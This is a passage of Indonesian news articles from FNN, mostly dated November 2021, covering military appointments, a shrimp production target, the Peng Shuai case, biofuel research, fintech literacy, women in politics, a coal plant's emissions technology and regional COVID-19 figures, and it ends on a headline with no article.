Jakarta, FNN - Presiden RI Joko Widodo (Jokowi) melantik Letnan Jenderal TNI Dudung Abdurachman sebagai Kepala Staf Angkatan Darat (Kasad) di Istana Negara, Jakarta, Rabu, menggantikan Jenderal TNI Andika Perkasa yang telah resmi menjadi Panglima TNI. Pengangkatan Dudung berdasarkan Keputusan Presiden Nomor 107/TNI/Tahun 2021 tentang Pemberhentian dan Pengangkatan Kepala Staf Angkatan Darat (Kasad). Setelah pembacaan Keputusan Presiden oleh Sekretaris Militer Presiden Marsekal Muda Tonny Harjono pada upacara pelantikan tersebut, Presiden Jokowi kemudian mengambil sumpah jabatan Dudung Abdurachman sebagai Kasad. "Demi Allah saya bersumpah, bahwa saya, akan setia kepada Negara Kesatuan Republik Indonesia berdasarkan Pancasila dan UUD Negara Republik Indonesia Tahun 1945 serta akan menjalankan segala peraturan perundang-undangan dengan selurus-lurusnya demi darmabakti saya kepada bangsa dan negara," kata Dudung mengucap sumpah jabatan. Dudung melanjutkan, "Bahwa saya dalam menjalankan tugas jabatan akan menjunjung tinggi etika jabatan, bekerja sebaik-baiknya dan dengan penuh rasa tanggung jawab. Bahwa saya akan menjunjung tinggi sumpah prajurit." Panglima TNI Jenderal TNI Andika Perkasa dan Kapolri Jenderal Polisi Listyo Sigit Prabowo menjadi saksi berita acara pengangkatan sumpah jabatan tersebut. Presiden juga mengeluarkan Keputusan Presiden Nomor 108/TNI/ Tahun 2021 tentang Kenaikan Pangkat dalam Golongan Perwira Tinggi TNI yang menaikkan pangkat Dudung sebanyak satu tingkat lebih tinggi dari letnan jenderal menjadi jenderal. Turut hadir dalam pelantikan Dudung sebagai Kasad, antara lain, Wakil Presiden Ma'ruf Amin, presiden ke-5 RI Megawati Soekarnoputri, Ketua DPR RI Puan Maharani, jajaran Menteri Kabinet Indonesia Maju, Kepala Badan Intelijen Negara (BIN) Budi Gunawan, Kepala Staf Angkatan Laut Laksamana Yudo Margono, Kepala Staf Angkatan Udara Marsekal Fadjar Prasetyo, dan para pejabat terkait lainnya. Dudung yang merupakan lulusan Akademi Militer 1988 dari kecabangan infanteri sebelumnya menjabat sebagai Panglima Komando Cadangan Strategis Angkatan Darat (Pangkostrad) setelah menjadi Panglima Komando Daerah Militer Jayakarta (Pangdam Jaya) pada tahun 2020—2021 dan Gubernur Akademi Militer pada tahun 2018—2020. Dudung mulai dikenal ketika dia mendirikan Patung Soekarno di Akademi Militer, Magelang, Jawa Tengah. Peresmian patung proklamator RI itu dihadiri langsung oleh presiden kelima RI Megawati Soekranoputri, Menteri Pertahanan Prabowo Subianto, dan Ketua DPR RI Puan Maharani. Ketika menjabat Pangdam Jaya, nama Dudung dikenal ketika dia melontarkan usulan pembubaran Front Pembela Islam (FPI) jika terus melanggar ketentuan hukum. Ia juga mengerahkan prajurit Kodam Jaya untuk mencopot spanduk/baliho Habib Rizieq Shihab yang tidak berizin. (mth)

Indonesia Pasti Bisa Hasilkan 2 Juta Ton Udang pada 2024

Jakarta, FNN - Salah satu target yang mencengangkan terkait sektor kelautan dan perikanan nasional, adalah ketika Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono menargetkan akan menghasilkan produksi 2 juta ton udang pada 2024. Meski tidak sedikit yang meragukan, tetapi Ketua Bidang Budidaya DPP Kesatuan Nelayan Tradisional Indonesia (KNTI) Arie Suharso menyatakan bahwa target 2 juta ton udang pada 2024 bukanlah sesuatu ambisi yang berlebihan, tetapi mungkin untuk diwujudkan. Arie mengingatkan bahwa udang kerap dianggap sebagai tolok ukur dari berbagai komoditas perikanan budidaya lainnya di Indonesia. Sedangkan berdasarkan data bahwa pada tahun 2021 ini, Indonesia dinilai mampu memproduksi hingga lebih dari 800 ribu ton udang. Ia mengakui bahwa pada saat ini udang, dinilai sebagai suatu hal yang seksi dalam bidang perikanan budidaya, di mana berbagai negara yang umumnya berada di kawasan Asia seperti India, Thailand, dan Vietnam, sedang berlomba memproduksi udang. Namun, Arie yang juga berprofesi sebagai seorang pembudidaya yang memiliki tambak di kawasan Dipasena, Lampung, meyakini bahwa Indonesia sebenarnya memiliki beragam faktor yang bisa menjadi "amunisi" berharga dalam menghasilkan udang. Berbagai aspek yang menguntungkan Indonesia itu, antara lain adalah luasnya lahan budidaya perikanan air payau (yang cocok untuk komoditas seperti udang), yang mencapai hingga sekitar total lahan eksisting 1,2 juta hektare.Sedangkan potensi dari lahan budidaya perikanan air payau itu di Tanah Air diperkirakan dapat mencapai 16,7 juta hektare. Selain itu, Arie juga memaparkan bahwa di Indonesia terdapat sebanyak 745 unit pembenihan budidaya, di mana sekitar 112 unit merupakan pembenihan untuk komoditas udang. Terkait dengan pakan, diperkirakan ada sebanyak 41 perusahaan yang bergerak sebagai produsen pakan dan 42 importir pakan, serta untuk bahan pendukung ada 392 obat penyakit ikan/udang yang terdaftar di Nusantara. Mengenai penyakit yang menimpa udang, bahwa ancaman virus atau penyakit yang menimpa udang merupakan tantangan besar yang merupakan masalah klasik yang kerap dihadapi oleh berbagai produsen di seluruh dunia. Sebenarnya budi daya udang di Indonesia sudah ada yang menggunakan teknologi 4.0, tetapi sayangnya masih belum diakses secara mudah oleh seluruh petambak Nusantara untuk mengembangkan budi dayanya dengan baik. Sementara terkait kebijakan di sisi permodalan, dinilai masih berkutat dalam cara-cara konvensional seperti kredit usaha rakyat, tetapi belum ada inovasi permodalan yang tepat guna bagi kebutuhan petambak. Optimistis Berdasarkan data BPS, kinerja ekspor produk perikanan secara kumulatif pada periode Januari hingga September 2021 terjadi kenaikan yang cukup signifikan mencapai 7,7 persen dengan nilai 4 miliar dolar AS. Dari keseluruhan ekspor kumulatif periode Januari-September 2021, komoditas ekspor utama meliputi udang sebesar 1,6 miliar dolar, tuna-cakalang-tongkol 518 juta dolar, rajungan-kepiting 447 juta dolar, cumi-sotong-gurita 401 juta dolar, rumput laut 236 juta dolar, layur 59 juta dolar, dan tilapia sebesar 46 juta dolar. Tidak heran bila Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono menyatakan, pihaknya optimistis bisa untuk mewujudkan tambak modern dengan manajemen terintegrasi dalam rangka meningkatkan produksi udang nasional. Menteri Trenggono menyatakan, untuk menggenjot produktivitas ekspor produk perikanan khususnya udang, KKP telah menyusun sejumlah langkah strategis. Sejumlah kebijakan strategis tersebut di antaranya adalah akan merevitalisasi 14.000 hektare tambak tradisional yang tersebar di beberapa wilayah Indonesia. "Revitalisasi ini untuk meningkatkan produktivitas tambak tradisional dari yang tadinya 0,6 ton/hektare menjadi 2 ton. Di samping itu, revitalisasi dilakukan agar kegiatan budidaya berjalan ramah lingkungan," paparnya. Sementara itu, Dirjen Perikanan Budidaya Tb Haeru Rahayu mengemukakan bahwa untuk mencapai target produksi udang sebesar 2 juta ton pada 2024, pihaknya telah melakukan tiga langkah, yaitu evaluasi, revitalisasi, dan modeling. Menurut Dirjen yang akrab disapa Tebe ini, langkah-langkah tersebut adalah dengan mengevaluasi lahan budi daya yang ada di seluruh Indonesia, yang sebesar 300.501 hektare dan terdiri atas lahan tambak tradisional, intensif, dan semi intensif. Selain itu, KKP juga menyiapkan luas lahan modeling atau tambak percontohan yaitu sebesar 14.000 hektare yang terdiri lahan tambak tradisional menjadi tambak intensif 11.000 hektare dan pembukaan lahan baru 3.000 hektare. KKP juga menggandeng ahli pemuliaan genetika bidang perikanan perikanan yaitu Profesor Alimuddin dari IPB dan Doktor Asep Anang dari Unpad guna membenahi sistem penyediaan induk udang vaname unggul. Tebe mengemukakan, pihaknya ingin banyak diskusi mengenai perihal teknis menghasilkan induk udang yang unggul. Ia telah membawa Profesor Alimuddin dan Doktor Asep ke ke Balai Produksi Induk Udang Unggul dan Kekerangan (BPIU2K) Karangasem, Bali, yang merupakan ujung tombak KKP dalam menyediakan induk udang vaname yang unggul. BPIU2K Karangasem telah memiliki fasilitas, di antaranya Nucleus Center sebagai tempat proses produksi benih udang vaname, kemudian Tambak Uji Performa untuk tempat proses uji multilokasi udang vaname, serta fasilitas Multiplication Center sebagai tempat pembesaran calon induk dan induk udang vaname. Asep Anang yang juga ahli genetika di Shrimp Improvement Systems (SIS), perusahaan terkemuka global dalam pembenihan komoditas udang, menyampaikan, fasilitas yang dimiliki BPIU2K Karangasem sudah menyalin dari SIS yang ada Hawaii dan Florida, Amerika Serikat. Asep menyarankan untuk perbaikan performa udang di Indonesia melalui traceability atau ketertelusuran, di mana kinerja udang dilacak dari mulai dari bentuk induk sampai ke tambak, sehingga bila ditemukan permasalahan maka dapat dilacak kembali hingga ke galur murninya. Sementara itu Alimuddin yang juga Dosen di Departemen Akuakultur IPB ini menyampaikan bahwa BPIU2K Karangasem mampu menjadi penyediaan induk udang vaname unggul. Menurut data dari KKP, BPIU2K Karangasem memiliki 42.578 calon induk yaitu calon induk udang vaname sebanyak 12.578 ekor, dan calon induk Vaname Nusantara generasi ke-4 (VN-G4) sebanyak 30.000 ekor. Kemudian, jumlah induk udang vaname sekitar 875 ekor induk, yang terdiri dari masing-masing untuk induk vaname (dari 4 sumber genetik) sebagai bahan pemuliaan induk galur murni tumbuh cepat sebanyak 400 ekor, induk vaname hasil impor dari Konabay sebagai sumber genetik untuk seleksi individu dan famili sebanyak 225 ekor. Serta, induk Vaname Nusantara (VN-G4) sebagai sumber daya genetik hasil seleksi famili sebanyak 250 ekor. Jaga lingkungan Direktur Eksekutif Pusat Kajian Maritim untuk Kemanusiaan Abdul Halim mengatakan pengembangan shrimp estate atau kawasan budi daya udang terintegrasi oleh pemerintah, perlu dipastikan agar tidak sampai merusak kawasan mangrove atau hutan bakau. Untuk itu, perlu dimaksimalkan pengelolaan tambak yang sudah ada secara terintegrasi dari hulu ke hilir, dari pembibitan sampai pembuangan limbah pascapanen. Abdul Halim juga sepakat bila pengelolaan tambak udang di shrimp estate memiliki persyaratan yaitu adanya inisiatif menanam bibit mangrove baik di kawasan sama maupun lokasi lainnya. Ia mengingatkan bahwa tingkat produktivitas tambak bisa diproyeksikan, sehingga dapat diperkirakan penurunan produktivitasnya yang merupakan akibat dari kondisi lingkungan sekitar yang memburuk dan terabaikan. Bila terjadi kondisi salah urus, misalnya akibat limbah tambak dibuang tanpa diolah, maka potensi produktivitas tambak udang bisa menurun drastis. KKP sendiri juga memiliki inovasi seperti penggunaan microbubble pada proses produksi pembesaran udang vaname di kolam bulat dengan sistem bioflok, sebagai salah satu bentuk inovasi sektor kelautan dan perikanan. Plt. Kepala Badan Riset dan SDM KKP Kusdiantoro memaparkan, pengembangan teknologi microbubble untuk budidaya udang vaname dilakukan untuk mengatasi kendala yang kerap dihadapi oleh pembudidaya udang. Beragam kendala itu, antara lain biaya listrik yang tinggi, modal yang cukup besar untuk skala tambak, limbah yang tidak dikelola dengan baik hingga serangan penyakit. Kemudian, kendala lainnya juga berupa keterbatasan lokasi budidaya karena jauh dari sumber air laut/payau, serta daya dukung lingkungan yang menurun. Microbubble merupakan rekayasa teknologi akuakultur yang ramah lingkungan dan berkelanjutan dan memiliki beragam kelebihan, antara lain tanpa penggantian air, tidak ada air limbah perikanan yang dibuang ke lingkungan, dapat diaplikasikan pada skala rumah tangga bahkan industri, serta bisa diaplikasikan di tengah perkotaan yang jauh dari sumber air laut. Kelebihan lainnya yaitu dapat dikembangkan dengan kepadatan di atas 1.000 ekor/meter kubik, sehingga produktivitas udang yang dihasilkan sangat tinggi. Dengan tersebarluaskannya penerapan inovasi teknologi ini, diharapkan dapat turut membantu mewujudkan target KKP dari pertumbuhan tambak udang nasional, yaitu 2,5 kali lipat setiap tahunnya. Dengan demikian, maka Indonesia diharapkan juga bisa untuk mewujudkan target 2 juta ton udang pada tahun 2024. (mth)

Osaka Khawatirkan Petenis China Hilang Setelah Adukan Pelecehan Seks

Jakarta, FNN - Juara Grand Slam empat kali Naomi Osaka mengaku prihatin atas keberadaan pemain tenis China Peng Shuai yang belum pernah terdengar kabarnya sejak menuduh mantan Wakil Perdana Menteri China melakukan serangan seksual kepadanya. Peng, salah satu bintang olahraga terbesar di China, mengatakan dalam media sosial awal bulan ini bahwa mantan anggota Komite Tetap Politbiro China Zhang Gaoli telah memaksa dia melakukan hubungan seks dan bahwa mereka kemudian mengakui sebagai hubungan suka sama suka. Komunitas tenis global semakin khawatir karena Peng tidak terlihat sejak membuat postingan tersebut dan pada Senin badan tenis putra (ATP) mendukung seruan Asosiasi Tenis Wanita (WTA) agar China menyelidiki tuduhan tersebut. "Saya baru-baru ini diberitahu bahwa seorang rekan sesama petenis yang hilang tak lama setelah mengungkapkan telah dilecehkan secara seksual," kata Osaka seperti dikutip Reuters. "Penyensoran tak bisa dibenarkan oleh alasan apa pun, saya harap Peng Shuai dan keluarganya selamat dan baik-baik saja." "Saya kaget dengan situasi saat ini dan saya berkirim kasih dan terang kepada dia. #whereispengshuai." Ketua WTA Simon mengatakan kepada New York Times pada Minggu bahwa tak ada seorang pun di Tour yang berbicara langsung dengan Peng tetapi dia sudah mendapatkan jaminan dari Asosiasi Tenis China bahwa petenis itu selamat "dan tidak di bawah ancaman fisik". Asosiasi Tenis China tidak menanggapi permintaan komentar dari Reuters mengenai hal ini. Petenis berusia 35 tahun itu adalah petenis China pertama yang menduduki peringkat teratas dunia ketika dia menjadi pemain ganda bernomor satu dunia pada 2014. Dia menjuarai ganda putri Wimbledon pada 2013 dan French Open 2014. Zhang yang kini berusia 75 tahun adalah Wakil Perdana Menteri China dari 2013 sampai 2018 dan bertugas dalam Komite Tetap Politbiro dari 2012 sampai 2017. (mth)

Presiden Jokowi Lantik Jenderal Andika Perkasa sebagai Panglima TNI

Jakarta, FNN - Presiden RI Joko Widodo melantik Jenderal TNI Andika Perkasa sebagai Panglima Tentara Nasional Indonesia (TNI) menggantikan Marsekal Hadi Tjahjanto. Pelantikan tersebut berdasarkan Keputusan Presiden (Keppres) Nomor 106 TNI Tahun 2021 tentang Pemberhentian dan Pengangkatan Panglima TNI yang ditetapkan pada tanggal 17 November 2021. "Demi Allah saya bersumpah bahwa saya akan setia kepada Negara Kesatuan Republik Indonesia yang berdasarkan Pancasila dan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 serta akan menjalankan segala peraturan perundang-undangan dengan selurus-lurusnya demi darma bakti saya kepada bangsa dan negara," kata Andika saat mengucapkan sumpah jabatan dengan dibimbing Presiden Joko Widodo di Istana Negara Jakarta, Rabu. Andika melanjutkan, "Bahwa saya dalam menjalankan tugas jabatan akan menjunjung tinggi etika jabatan, bekerja dengan sebaik-baiknya dan penuh dengan rasa tanggung jawab. Bahwa saya akan menjunjung tinggi sumpah prajurit." Seusai mengucapkan sumpah jabatan, Andika Perkasa dan Presiden Jokowi menandatangani berita acara pengucapan sumpah jabatan yang disaksikan dua orang saksi, salah satunya adalah Menteri Pertahanan Prabowo Subianto. Selanjutnya, Presiden Jokowi menyematkan tanda pangkat dan tanda jabatan di bahu Andika sekaligus menyerahkan tongkat komando Panglima TNI. Hadir dalam acara pelantikan tersebut, antara lain Ibu Negara Iriani Jokowi, Wakil Presiden RI Ma'ruf Amin, presiden ke-5 RI Megawati Soekarnoputri, dan mantan Panglima TNI Marsekal Hadi Tjahjanto. Hadir pula Ketua DPR RI Puan Maharani, Kapolri Jenderal Pol. Listyo Sigit, Kepala Badan Intelijen Negara (BIN) Budi Gunawan, Menteri Sekretaris Negara Pratikno, Sekretaris Kabinet Pramono Anung, Ketua Komisi I DPR RI Meutya Hafid, Kepala Staf Angkatan Laut (Kasal) Laksamana TNI Yudo Margono, Kepala Staf Angkatan Udara (Kasau) Marsekal TNI Fadjar Prasetoyo, dan pejabat terkait lainnya. Rapat Paripurna DPR RI pada Senin (8/11) menyetujui usulan Presiden Joko Widodo yang mengajukan nama Jenderal TNI Andika Perkasa sebagai calon Panglima TNI. Persetujuan tersebut diambil setelah mendengarkan laporan Komisi I DPR yang telah menyelenggarakan proses uji kelayakan dan kepatutan (fit and proper test) calon Panglima TNI pada hari Sabtu (6/11). Dalam rapat paripurna tersebut, Jenderal TNI Andika Perkasa hadir dan diperkenalkan di hadapan anggota dewan. Andika dipilih sebagai Panglima TNI untuk menggantikan Marsekal Hadi Tjahjanto yang akan memasuki masa pensiun. Sebelum dipercaya menjadi Panglima TNI, Andika Perkasa adalah Kepala Staf TNI Angkatan Darat (Kasad). Andika Perkasa lahir di Bandung, 21 Desember 1964 adalah lulusan Akademi Militer (Akmil) 1987. Ia mengawali karier sebagai perwira pertama infanteri Kopassus Grup 2/Para Komando dan Satuan-81/Penanggulangan Teror (Gultor) selama 12 tahun. Selanjutnya, Andika menjadi Sespri Kepala Staf Umum (Kasum) TNI, Komandan Resimen Induk (Danrindam) Kodam Jaya/Jayakarta di Jakarta, Komandan Resor Militer (Danrem) 023/Kawal Samudera Kodam I/Bukit Barisan yang berkedudukan di Kota Sibolga, Provinsi Sumatera Utara. Menantu mantan Kepala Badan Intelijen Negara (BIN) A.M. Hendropriyono tersebut kemudian menduduki posisi Kepala Dinas Penerangan Angkatan Darat pada bulan November 2013 sehingga Andika pun menjadi perwira tinggi bintang satu. Perjalanan kariernya meningkat saat menjadi Komandan Pasukan Pengamanan Presiden (Paspampres) dengan pangkat mayor jenderal, 2 hari setelah pelantikan Joko Widodo dan Jusuf Kalla sebagai presiden dan wakil presiden periode 2014—2019. Selanjutnya, alumnus The Military College of Vermont, Norwich University, Vermont, USA ini melanjutkan karier militernya sebagai Panglima Kodam XII/Tanjungpura pada tanggal 30 Mei 2016. Setelah beberapa kali berganti jabatan, pemegang gelar lulusan terbaik Sekolah Staf dan Komando Angkatan Darat 2000 tersebut dilantik oleh Presiden Jokowi menjadi Kepala Staf TNI Angkatan Darat (Kasad) pada tanggal 22 November 2018. Selama menjabat sebagai Kasad, Andika Perkasa aktif membantu pemerintah menjalankan program Serbuan Vaksin guna mencapai target vaksinasi nasional dengan mengerahkan anggota TNI AD. Andika Perkasa juga menunjukkan sikap tegas dengan memecat 31 prajuritTNI AD yang terkait dengan penyerangan Polsek Ciracas, Jakarta Timur pada tanggal 29 Agustus 2020. Sebagai Kasad, Andika juga memerintahkan penghapusan aturan tes keperawanan dalam proses rekrutmen prajurit TNI AD seperti pernyataannya pada tanggal 11 Agustus 2021. (mth)

Peneliti KLHK Siapkan Nyamplung untuk Jadi Bahan Bakar Nabati

Jakarta, FNN - Peneliti pada Balai Besar Litbang Bioteknologi dan Pemuliaan Tanaman Hutan Kementerian Lingkungan Hidup dan Kehutanan (KLHK) Budi Leksono sedang menyiapkan minyak pohon nyamplung untuk menjadi bahan bakar nabati. "Bukan berarti nyamplung akan menyaingi kelapa sawit. Sawit sudah siap sekali menjadi biodiesel dengan proses yang sudah berskala industri, bahkan untuk ekspor," kata Budi, dalam webinar "Tak Hanya Sawit, Indonesia Kaya Beragam Bahan Bakar Nabati" yang dipantau di Jakarta, Rabu. Ia mengatakan kalau dikembangkan lebih jauh, minyak nyamplung pun dapat menjadi substitusi minyak kelapa sawit sebagai bahan bakar nabati (BBN). Subtitusi ini, terutama diperlukan saat distribusi minyak kelapa sawit terhambat isu global, seperti isu terkait BBN tidak seharusnya berupa minyak yang dapat dimakan atau edible oil. Di samping itu, pohon nyamplung yang bisa dikembangkan di wilayah-wilayah terpencil menjadi solusi saat BBN dari sawit sulit didistribusikan ke wilayah-wilayah tersebut. "Indonesia negara tropis yang sangat kaya. Kalau minyak nyamplung tidak dimanfaatkan, biaya BBN di Indonesia bisa lebih tinggi lagi," kata Budi. Berdasarkan penelitian Budi, pohon nyamplung tersebar di seluruh wilayah Indonesia pada ketinggian 0-300 meter di atas permukaan laut. Pohon yang toleran terhadap lahan kritis ini pun dapat berbuah sepanjang tahun dengan produksi mencapai 50-150 kilogram per pohon per tahun. Pohon dengan minyak bersifat tidak dapat dimakan atau non-edible oil ini juga memiliki rendemen minyak tinggi, yakni sebesar 30-80 persen. Daya bakar minyak nyamplung, menurut Budi, juga tinggi dan saat ini cara pengolahan minyaknya sudah dikuasai oleh peneliti dan masyarakat setempat. "Pemanfaatan limbah industri minyak nyamplung juga sudah diketahui, begitu pula teknik budi dayanya. Saat ini yang belum ada adalah benih unggul dengan produktivitas tinggi, ini yang harus disiapkan saat hendak mengembangkan industri berbasis tanaman nyamplung," katanya. Saat ini pihaknya telah melakukan penelitian terhadap minyak pohon nyamplung dari 12 populasinya yang tersebar di delapan pulau di Indonesia. Budi berharap penelitian ini dapat menjadi dasar kebijakan pemerintah di masa yang akan datang, yang diharapkan juga mulai menggunakan tanaman alga untuk dijadikan BBN. (mth)

Peneliti Sebut Pentingnya Literasi untuk Identifikasi Tekfin Legal

Jakarta, FNN - Peneliti Center for Indonesia Policy Studies (CIPS) Thomas Dewaranu mengingatkan pentingnya literasi masyarakat agar mampu mengidentifikasi perusahaan finansial berbasis teknologi (tekfin) yang legal dan tidak tertipu dengan tekfin tidak berizin. "Upaya literasi agar masyarakat dapat mengidentifikasi fintech yang terdaftar dengan yang ilegal perlu ditingkatkan," kata Thomas dalam pernyataan di Jakarta, Rabu. Thomas juga memastikan upaya literasi ini juga harus disertai dengan adanya sistem elektronik yang tangguh untuk mencegah adanya penggunaan data dalam menawarkan pinjaman ilegal melalui telepon genggam. Menurut dia, literasi ini menjadi penting sebagai edukasi kepada masyarakat mengingat proses moratorium atau penghentian pendaftaran untuk tekfin tidak akan menyelesaikan permasalahan tekfin ilegal. "Mau ada moratorium atau tidak, fintech ilegal tetap akan beroperasi bila tidak ada penindakan tegas. Apalagi, banyak fintech ilegal beroperasi dengan cara meniru dan menggunakan logo dan nama dari fintech yang terdaftar untuk menarik perhatian calon konsumen," katanya. Selain itu, Thomas menambahkan permasalahan lain yang seharusnya diselesaikan adalah akses tekfin ilegal kepada data pribadi individu, seperti nomor telepon, yang digunakan untuk menawarkan pinjaman lewat pesan singkat maupun telpon langsung. Padahal, kerahasiaan data pribadi yang mengacu pada pengumpulan data, preferensi dan cara lembaga mengelola data, merupakan perlindungan terhadap privasi konsumen dan merupakan hak subjek data individu. "Penawaran pinjaman kilat melalui pesan singkat sangat masif sekali. Nomor telepon masyarakat tersebar luas dan disalahgunakan untuk menjerat masyarakat ke dalam pinjaman dengan bunga yang tidak wajar," ujar Thomas. Menurut dia, proses penawaran pinjaman kilat tersebut membuktikan adanya praktek jual beli data konsumen dan kurangnya perlindungan atas kerahasiaan data masyarakat. Saat ini, banyak kasus yang menunjukkan bahwa kehadiran fintech, utamanya yang berbasis pinjaman, juga diikuti dengan risiko penyalahgunaan data pribadi pengguna layanan. Untuk mengatasi hal yang merugikan masyarakat ini, sudah seharusnya ada sinergi yang baik antara regulator, pelaku industri tekfin dan tentunya kesadaran pengguna layanan. Pemerintah sudah mengeluarkan Peraturan Otoritas Jasa Keuangan (POJK) Nomor 77 Tahun 2016 Tentang Layanan Pinjam Meminjam Uang Berbasis Teknologi Informasi yang mengharuskan setiap fintech di Indonesia mencatatkan diri ke OJK secara legal. Tekfin berperan penting dalam percepatan inklusi keuangan dan perannya menjadi semakin penting karena adanya kebijakan pembatasan sosial dan adanya desakan kebutuhan dana dari kelompok masyarakat yang terkena dampak pandemi. Terbukti bahwa sampai dengan Oktober 2021, industri tekfin telah menyalurkan dana pinjaman ke sektor produktif sampai sebesar Rp114 triliun. "Perlindungan konsumen fintech diperlukan untuk memberikan rasa aman dan menjaga kepercayaan mereka dalam bertransaksi dengan lembaga ini. Rasa aman dan kepercayaan akan menumbuhkan industri keuangan dan menggerakkan sektor-sektor yang terdampak pandemi lewat skema pinjaman yang diajukan," kata Thomas. (mth)

Peneliti BRIN Imbau Parpol Tegaskan Keberpihakan Pada Perempuan

Jakarta, FNN - Ahli Peneliti Utama Pusat Riset Politik Badan Riset dan Inovasi Nasional (BRIN) Siti Zuhro mengimbau partai-partai politik di Indonesia untuk menegaskan keberpihakannya pada perempuan dalam rangka meningkatkan keterwakilan mereka di dunia politik, khususnya di bidang legislatif. Keberpihakan itu, lanjut Siti Zuhro, dapat diwujudkan oleh partai politik dengan berperan menguatkan rasa kepercayaan diri para anggota perempuannya untuk menjadi calon anggota legislatif. "Ini yang tidak muncul kepercayaan diri tadi karena dari partai pun tidak menunjukkan keberpihakannya yang oke," kata Siti Zuhro saat menjadi penanggap dalam webinar nasional Kongres Wanita Indonesia (Kowani) bertajuk Peran Partai Politik terhadap Keberhasilan Kader Perempuan di Pileg 2024 yang disiarkan secara langsung di kanal YouTube Kongres Wanita Indonesia dipantau dari Jakarta, Rabu, 17 November 2021. Tanggapan itu muncul setelah pemaparan materi yang diberikan oleh Ketua DPP PDI Perjuangan (PDIP) Bidang Kesehatan, Perempuan, dan Anak Sri Rahayu yang mengatakan bahwa salah satu tantangan dalam peningkatan keterwakilan perempuan di bidang politik, khususnya lembaga legislatif, yaitu kurangnya rasa percaya diri dari mereka. Perempuan sering kali menilai kemampuan dirinya lebih rendah dibandingkan para calon legislatif laki-laki. Untuk itu, peningkatan kepercayaan diri menjadi masalah yang perlu segera diselesaikan, baik dari partai politik maupun para kaum perempuan itu sendiri. Sebagaimana dikutip dari Antara, Siti Zuhro pun menilai apabila kepercayaan diri perempuan untuk terjun ke lembaga legislatif meningkat, komposisi keterwakilan perempuan di sana pun dapat terisi minimal sebanyak 30 persen. Selain itu, dia juga menyarankan keberpihakan partai politik terhadap perempuan dapat mewujudkannya melalui sifat proaktif dan proses rekrutmen yang memanfaatkan tim headhunter. Tim tersebut bertugas mencari calon anggota berkualitas. "Yang saya bayangkan, rekrutmen itu tidak bisa cuma business a usual terhadap perempuan, tetapi juga harus melibatkan headhunter. Perempuan itu diperlukan oleh partai politik sehingga dia melamar, entah ke kampus, organisasi perempuan, dan sebagainya. Jadi, proaktif, tidak hanya menunggu," kata Siti Zuhro menegaskan. (MD).

PLTU Sumatera Selatan 8 Terbitkan Tekhnologi Andal Yang Bisa Mengurangi Emisi

Jakarta, FNN - PT Huadian Bukit Asam Power (HBAP) yang merupakan konsorsium pelaksana proyek PLTU Sumsel 8 menerapkan teknologi flue gas desulphurization atau FGD untuk mengurangi emisi pembangkit saat memproduksi listrik. Teknologi ini digunakan untuk meminimalkan sulfur dioksida dari emisi gas buang pembangkit listrik berbahan bakar fosil batu bara tersebut. "FGD merupakan proses pencampuran emisi gas hasil pembakaran batubara dengan zat pengikat berupa kapur basah agar kandungan sulfur dioksida yang dilepaskan ke atmosfer menjadi rendah," kata Deputi General Manager HBAP Gusti Anggara dalam keterangan yang dikutip di Jakarta, Rabu, 17 November 2021. PLTU mulut tambang terbesar di Asia Tenggara tersebut berkapasitas 2 x 660 megawatt dan pembangunannya telah mencapai 92,84 persen. PLTU ini merupakan bagian dari proyek pemerintah Indonesia untuk menghasilkan 35.000 megawatt. Pembangkit ini dibangun oleh PT Bukit Asam (Persero) melalui PT HBAP sebagai pengembang listrik atau independent power producer (IPP). PT HBAP merupakan konsorsium antara Bukit Asam dengan China Huadian Hongkong Company Ltd. "Proyek PLTU ini nantinya membutuhkan sekitar 5 juta ton batu bara per tahunnya yang disuplai dari IUP Bangko di wilayah tambang Bukit Asam di Tanjung Enim," jelas Gusti, sebagaimana dikutip dari Antara. Dalam mendukung pencapaian netralitas karbon, pembangkit tersebut memakai teknologi ramah lingkungan bernama super critical. "Kami baru saja menerima laporan progresnya sudah lebih dari 92 persen. Semoga lancar sesuai target dan dapat bermanfaat khususnya bagi masyarakat sekitar, menguatkan sistem kelistrikan Sistem Sumatera," pungkas Kepala Biro Komunikasi Layanan Informasi Publik dan Kerja Sama Kementerian ESDM Agung Pribadi. (MD).

Kasus COVID-19 Babel Bertambah 20 Jadi 52.158 Orang

Pangkalpinang, FNN - Satgas Penanganan COVID-19 Provinsi Kepulauan Bangka Belitung menyatakan kasus harian COVID-19 bertambah 20, sehingga total orang terkonfirmasi virus corona itu menjadi 52.158 jiwa. "Hari ini 20 orang positif COVID-19, sehingga total orang menjalani isolasi bertambah 90 pasien," kata Sekretaris Satgas Penanganan COVID-19 Provinsi Kepulauan Babel Mikron Antariksa di Pangkalpinang, Rabu. Ia menjelaskan berdasarkan data terbaru, sebanyak 20 orang terpapar COVID-19 tersebar di Belitung 14, Belitung Timur 2, Bangka Barat 3 dan Pangkalpinang 1 orang pasien. "Hari ini kasus orang positif COVID-19 lebih banyak dibandingkan pasien sembuh dari virus corona itu sebanyak 11 orang," katanya. Ia mengatakan sebanyak 11 orang pasien sembuh dari COVID-19 tersebar di Pangkalpinang 3, Bangka 3, Belitung Timur 3, Bangka Tengah 1 dan Bangka Barat 1 orang pasien. "Hari ini tidak ada pasien COVID-19 yang meninggal, sehingga kematian orang akibat virus ini masih tetap 1.451 orang," katanya. Menurut dia, akumulasi mingguan dan bulanan kasus terkonfirmasi di Provinsi Kepulauan Bangka Belitung, pada prinsipnya sudah mengalami penurunan, sebagai akibat dari kebijakan semua kepala daerah untuk dapat mengisolasi seluruh pasien yang terkonfirmasi positif ke dalam isolasi terpadu. Selain itu, semakin meningkatnya pengetahuan dan kesadaran masyarakat untuk melaksanakan vaksinasi serta protokol kesehatan dalam kehidupan sehari-hari. "Saat ini Belitung Timur memiliki tingkat kasus terkonfirmasi yang tertinggi, untuk antisipasi persoalan tersebut, dibutuhkan sarana dan prasarana yang memadai untuk melaksanakan kegiatan isolasi terpadu serta protokol kesehatan," katanya. (sws)

PSHK: Kewenangan Penyadapan Kejaksaan Rentan Pelanggaran HAM

